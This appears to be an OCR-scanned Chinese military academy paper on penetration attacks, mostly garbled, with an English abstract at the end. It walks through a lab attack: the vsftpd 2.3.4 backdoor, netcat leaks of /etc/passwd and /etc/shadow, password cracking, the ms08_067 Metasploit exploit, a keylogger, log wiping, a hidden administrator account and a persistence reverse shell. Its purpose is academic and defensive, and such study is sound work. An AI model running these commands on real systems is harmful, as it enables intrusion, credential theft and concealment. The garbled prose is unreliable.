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Kails Unux s =
Attacker FTP-Server wWindowsXP

13235 3%

=~ AT
FIREEREE 6 RRTS R R4
HAKERAT BITEARG IR FH
Bl ko FHG IR LR R ~ AR TRRIREH ~ &
FHBEERAKEENEZEEZ[] >
Nmap > 4% % Network Mapper © & — % &
unix/windows Lt &4 port scanner ¥k 5% > 414
»TCP/IP &) TCP 3% 0 #ATIFR[8] > =T LA
B A R B E AR SRS AR ¥
RHRBR AT A LBIE SRR KGR
£ B # FTP R BAF) AR 54 A Nmap &
ITRMAE > £ B AR 49 TCP port ~ £ ¥ %
% TAEE TCP port:2] ~ 22 &9k & &
BEL » E¥ A %% Linux 3.2-4.4 > g 2.
Firo=[9] °

Metasploit & — 3R R R AR Bl B A B A
Muy T B oo gbsh o BT #ATHR AR T
BEEABEBREMNEARELL[L]
¥ Windows xp % £ & 1% A Metasploit &
Auxiliary #4 EATE MR E > TH 4
Windows xp ¢ B% & k& &9 TCP port:135~139 ~
445 ~ 3380 YR RERME > FE RSB

Windows xp sp3 » o B 3.7 5 [1]
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"Bl 2.Nmap &1

| > set rhosts 192,168.5,104

~ Host 15 running Windows XP SP3 (lanquage:Chinese - T
/ Taiwan) (nane:STUDENT)
1 0f 1 hosts (166% conplete)
ary manule g 100 [ oto

3. Metasploit 1

AR 2B ER ) TCP port Ak ERE¥ 4
B BTEATFEZSL/RHBEN > T3
exploit-db 2 CVE 47 & 3#) > 42318 & 445 3R,
FTP % B AR 55 A @314 PIAE SRR 7T i
AT BN 1B 4.7~ ° B 9 » Windows
Xp % B E R 6 RIF & b Metasploit a9z #
#% 48 exploit 89 ms08 067 netapi 43 48 3 78 35,
=T #f Windows xp & 5% & B 4T & 3% BA[1]
Yo [8 5777 0 Z 4% 049 53 S o Rk R ABBR
o AT o [9]

RBE—O+t#

ERPLOIT &
DATABASE

vsftpd 2.3.4 - Backdoor Command Ex #esmesesessirgbass

Author

4.55 85 & 30

nsl > use exploit/windows/snb/ms08 067 netap)

nsf exploit( | » Show targets

Explot targets:

10 Name
33 Windows XP SP3 Chinese « Traditional / Taiwan (NX)

5BIH BN

=K%
LY FTP S BRARBSBALRTH
ERFIP 2 BARBSHEE 24555

1@ EATIZPIEN > 24 F VSFTPD ARF >
Yo B 6.F7 5~

54 ' telnet 192.168.5.105 21
354 (P& 3%) © user user:)

5 4-(%45) © pass pass
AT AR 1% AT PR 3R R B ANFIIR B B 1%
Py holE 7.777
35 4 :telnet 192.168.5.105 6200

& 4 ifconfig

rooteexp-kali:-# telnet 192,168.5.105 21
Trying 192.168.5.105...

Connected to 192.168.5. 165,

Escape character 1s "',

220 (vsFTPd 2.3.4)

503 Login with USER first,

User user:)

331 Please specify the password.

6.i2 4 £ VSFTPD
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telnet 192.168.5.105 6200
Trying 192.168.5.165...
ed to 192.168.5. 165,

i fPBO 13805: 72ff:
AST RUNNING MULTI(&S' |
5:84094 errors:0 dropped:0 ov
80131 errors:0 dropped:0 ove
txqueuelen: 1000
RA bytes:5681702 (5.6 MB) TX bytes:4378265 (4.3 MB)

Link vrup Local Loopback

S‘JQb errors: 0 GVDpDFd 0 overruns: frane:0
96 error 0 dropped:0 overruns:0 carrier:0

: not found

7. BN AR 5

REME IR PT BN IR 35 12 1@ ) AR 55
AodE B 0 3t B 4T #r4E A - attacker sudo
HE PR AF] 2 4% 5 W AR TAF 0 5 S B4R A
grep 5 2 FERMAE A HE A TR > W fF 8.
P ©
}5 4 useradd attacker
35 4 echo “attacker:attacker”| chpasswd
#5 4-: usermod -aG sudo attacker
35 4 :grep “attacker” /etc/passwd;

2,168.5.105 6200

QhOHFAsvg2I5Aadx hkyWVRauNQeYt

BAERME A H R BT EIL

BE AR RS RE AT A —
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REFZEEIHR BT EEAZIIRA

4o F L — 18 B A Root 42 [R &4 Shell 4 A 45 €
2 X %4424 > 4o NetCatt > [S]X 4% nc > B
1%%’7%&%*%%@*»%%7’7 » “[f4 % Server 4,

AERL A Client &9 T B> 2 4EE % £ X M IAT
ncj’a/\ %?g?fﬂ'u\ BB EETEEM

EEE T RAMAE TR -
BUF ) AR 5 &Y telnet 1% P 342 » 42
AR B 5 R HAT AT R E ne 8848 X 45
/a\ (1B#3% ) > 4o B 9.77
35 4-:nc —1 —p 8080 < /etc/passwd
35 4-:nc —1 —p 8080 < /etc/shadow

: not found
: not found
: not found
-p 8080 < /etc/shadow

nc -1
: No such file open /etc/shadow

¢ -1 -p 8080 < /etc/shadow;
: not found

9 34 nc(—)

FIR EEHKIE LSRR B
passwd 1 shadow #§ W & 691841 > I 5 % 7%
% passwd.Ist #1 shadow.Ist * RK4E F 745 &
AT A EE)4F > KRB nc 5L RU— 3
iAo PE— EEHLN T AT BLHE
AMAN—EHBELS BAA—EEHES
PBPURBRERZERRABITT £
1&# > @ 10.57
364 nc —q2 192.168.5.105 8080 >

passwd.lst;
&4 mc—q2 192.168.5.105 8080 >
shadow.Ist;

o R g B4 BAR 24 (192.168.5.105)
L #9 passwd $2 shadow #% > 45 T 2R S48 &>
i% 1% unshadow 5 & e M ER E S A — % >
I %E A L4 4 B password 0 A linux
AP IR AT R o S A7 Y 0 passwd 4§
RESAATHAENRREN-FESES
.0 1 shadow #%£E 15 0 A& &8 e B 64 B 45
4o B 10.A75R
& 4 :unshadow passwd.lst shadow.1st >
password
35 4 :cat passwd

-
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92.168.5.104

68.5.164

10. #A4% nc(=)

John the Ripper & #] A £ 5% — 3t &

MAE RBREBITHHYERERELEL B
ﬁﬁ BEAMN LTELAGTROEHT

' 3B 3 B A] TR 69 AR AR AR o T
ﬁ%%m~ﬁ~@%%ﬁ%$$@ﬁ%&
X 4% > John the Ripper 2 & %+ — 4.4y 3000
% % 2564 password.Ist 4% 0 &7 B #4150k
FEE o BB NEEHeyFEH > Johnny %
John #§ GUI B # kxR A& > 1& B John 844% & »
#% password 4% E N\ 0 BIATHAR > 7T LA
EI ZmRIER T B 11.577:
stu:1234;
attacker:attacker;
student: student

y Johrmy.
E Pass

11. John the Ripper #: 4%

UL bR 3
BEARE

Bor3F FTP & 84 AR %
IEE ST EL PR

\

Windows xp % EESE LRGN EAE -
2. % Winsows xp % 5% 8 B 55 (B

3% Windows xp X B TASI1EF ¥ A 4
A Metasploit % exploit # 4 &)

ms08 067 netapi #4T2ZAE > whE 12.
2

12.xp ¥ 6955 L %

B 4% meterprete & & B AT B A 694 IR
BATRI 6 R IZAZ 7 B ATIR M0 R AR T »
R EMEHITF R ER 5 TEEFIRK
Mt B9 BAT - > ko B 13.77 7

154 getuid  EAHR
14 getpid  BERM R IR

e ps FIHEREBTIORERLFS
354 migrate 73R I B9 AT 4
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13.% 32 #2 f-

Fo ¥t FTP B IR S — 1k &4 S
g4k A & 0 A meterpreter #73% — M@k
SR ILE AHAR A test 69 — AR A H IR

§4>run getgui - utest - p test
B E 4 test Au N\ iE ¥ 32 48 2% 4 (Remote
Desktop Users) fuv % ¥ H# Z @
(Administrators) ¥ - 4o B 14.57
35 4 :shell

§ 4 met localgroup “Remote
Desktop Users”  test /add
& 4~ net localgroup
test /add

“Administrators”

0. G0 bbb O b4
Bl 14003842 A # iRk
BEE test R E MANRMEREM
(Remote Desktop Users) v % 32 % 2% @
(Administrators) ¥ - A %] Windows xp %
FE AR AL R 0 AR T3 Ao test BRIR > o B
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15. 78 30k 5%

T RBATIEOR IR TR BRI
BB RERAENZIRE HART R &
T E | 0 {8 A2 4 E Windows xp
XEER > B 16.77
15 4-:rdesktop —u test —p test 192.168.5.104

¢\ 7% STUDENTUD: BYiE A BhEATRIE - MRURER M LAGEAE
o) BPERER- CEEWN

16.:% &7 383X

R IR 48 7R T 1% # Windows xp 2 B4 E

B 1 4T 42 42 20 4% > B Bx wordpad J& A £2 K, -
3t $RER wordpad &4 pid> 21384k it B B A test
# & PID %5 % 208 &9 wordpad & ¥ £2 - L >
B B RERAPAT » W] 17577

&4 ps|grep “wordpad”
35 4~ :migrate 208
PRI BT 1% AT 6 #ERT AT RISR > 2]
& 3 F A halliow I am test bye > 4o [ 18.57
D
15 4 keyscan start  PBf L& 4% B 5%

§ 4 keyscan_dump 7| & 15k X F
154 keyscan_stop 4% 1k Al 4k

B 17. $hATRI4(—)
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18. AT RI4R(=)

VNC #8475 —HEpiER T a4
A RFBiph et RhEmy £ > #tdwEe
TR BT RN ER R ERE
@@ ° #| A meterpreter $h 47 VNC & 4 - &3
LX"F*E AMAT 0 w B 19, ~ 20.F5 5%
35 4 run vne

 BEIE O FE W NS

20. #$h4T VNC(=)

XHER Ft+toh RE-O0+tH

TR AR M4 R VNC 2 42 4% B 18 % B
TR LM FMH A B R ABKESE
mﬁﬁi@%%@*$%$#aﬁ,am.

1 = W 5
T A2 %38 B REPUT FH TR X 5% E 23.
FIT 7 58 AR B TR
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) BREEIR o2, EEr -# 0 W
i HFma. EENT -#® W
@ BRERRE:L FML. ESENT -#
iz oo

B2 kR4

meterpreter > clearev
Wiping 55 records from Application...
Wiping 203 records from System...

Wiping 1 records from Security...
meterpreter > [}

2. F 2 E TR

O sy
= mEE ST R \mEe  HEw
& B 2

5! EESEIE (R 1aEY =E] BRR
= i FETA
= (g $l¢t&iﬁ%§
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o ?&m éHSE
& RIS RET03FE
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= sEENs
= g TFh
+ N IR ETEREE
;A EA TR
PREREIE

+ [ RIS R IERIES

Bl 23.5% AR

AT # % BB ERRABGAEERELE
Wi AHIEBEITMBEAKRIIEZA
meterpreter ¥ &4 persistence 4% P9 42 X BN
AR 0 kB 24.57 1
35 4-:run persistence - X -1i110 -p 8888

-1192.168.5.106 #HAZFIRBER
H
X'*%%ﬁé%ﬁﬁ
CEAR ﬁﬁﬁ%
m-%ﬁ%mm
T REHYIP
H R HPIR R R NGB RIFEUATHL
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ESBEEME ZEBERBREFEPARAMR
ik o B 2455

& 4> :use exploit/multi/handler — #; A\ B 5%
M

& 4~ :show options R &R0k
%JE

:} :set LHOST 192.168.5.106 & F&:% 3% ip

4>:set LPORT 8888 Btk
éfj port 3% O
§ 4 :exploit AT 40

meterpreter > run persistence -X -1 10 -p 8888 -r 192,168.5.166

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence
(1] Example: run post/windows/manage/persistence exe OPTION=value [...
Runnng Persistence Script
Resource file for cleanup created at /hone/student/.nsf4/logs/persistend
Creating Payload=windows/neterpreter/reverse tcp LHOST=192.168.5.106 LP
Persistent agent script is 99636 bytes long
[+] Persistent Script written to C:\WINDONS\TEMP\pIxgXJnkSB.vbs
Executing script C:\WINDOWS\TEMP\pIxgKJnkSB. vbs
[+] Agent executed with PID 1952
Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersig
(+] Installed into autorun as HKLM\Sof tware\Microsoft\Windows\CurrentVersio

msf > use exploit/multi/handler
msf exploit( ) > show options

»odule options (exploit/multi/handler):

urren

Exploit target:
Id Name
L] Wildcard Target
) > set lhost 192.168.5.106

.168.5.1606
) > set lport 8888

ploxt(

) > exploit

d reverse TCP handler on 192.168.5.106:8888
e payload ia d 5

g s taqe (957487 b)tos) to 192.168.5.104

ession 1 opened (192.168.5.106:8888 -> 1

24 A A A2 K
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LR eRIR BN AR D oy R SR P

FIR 8RR T RE A A Z AT R &N T
8 % %% R $2 59 B > 5] 4o :Microssoft &
2001 # 6 A #t € & A B » ISAPI
extensions(MS01-033) &4 42 4B F > & &
CodeRed worn = # > 3 2R A8 B s & © k) >
REAREEER X TE R LT 75k

FHAUHNEREIRABREEG R ERN
BAZ > EHAETHFBHN BHENGFE
HEu AR A RAER S o B
Efkl °
%%

A X Rk CH A & 3R £ (MOST
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Research on the Penetration Attacks Process

Huei Syun.Gao', Bo Ru.Huang', Kai Chain'

1Department of Computer Sciences, Chinese Military Academy, Taiwan

Abstract

In the era of advanced networks, it is very convenient for everyone to access the Internet.
However, malicious attacks are also gradually increasing. Everyone may become the target of
attack. Penetration attacks are one the means of attack.
Some companies are using older versions of operating systerms and are not updated frequently
and are vulnerable to attacks. Therefore, the security of the computer user’s authority is
misappropriated, the data is deleted or leaked, it is used as a tool for other crimes.  The
purpose of research is to understand how it is worked by preventing it. The method of research
operating penetration attacks in the cyber security testbed. Finally, we will understand the
penetration attacks by the research, also, we will get some suggestions from it.

Key words: Penetration attacks, vulnerability detection,digital forensics



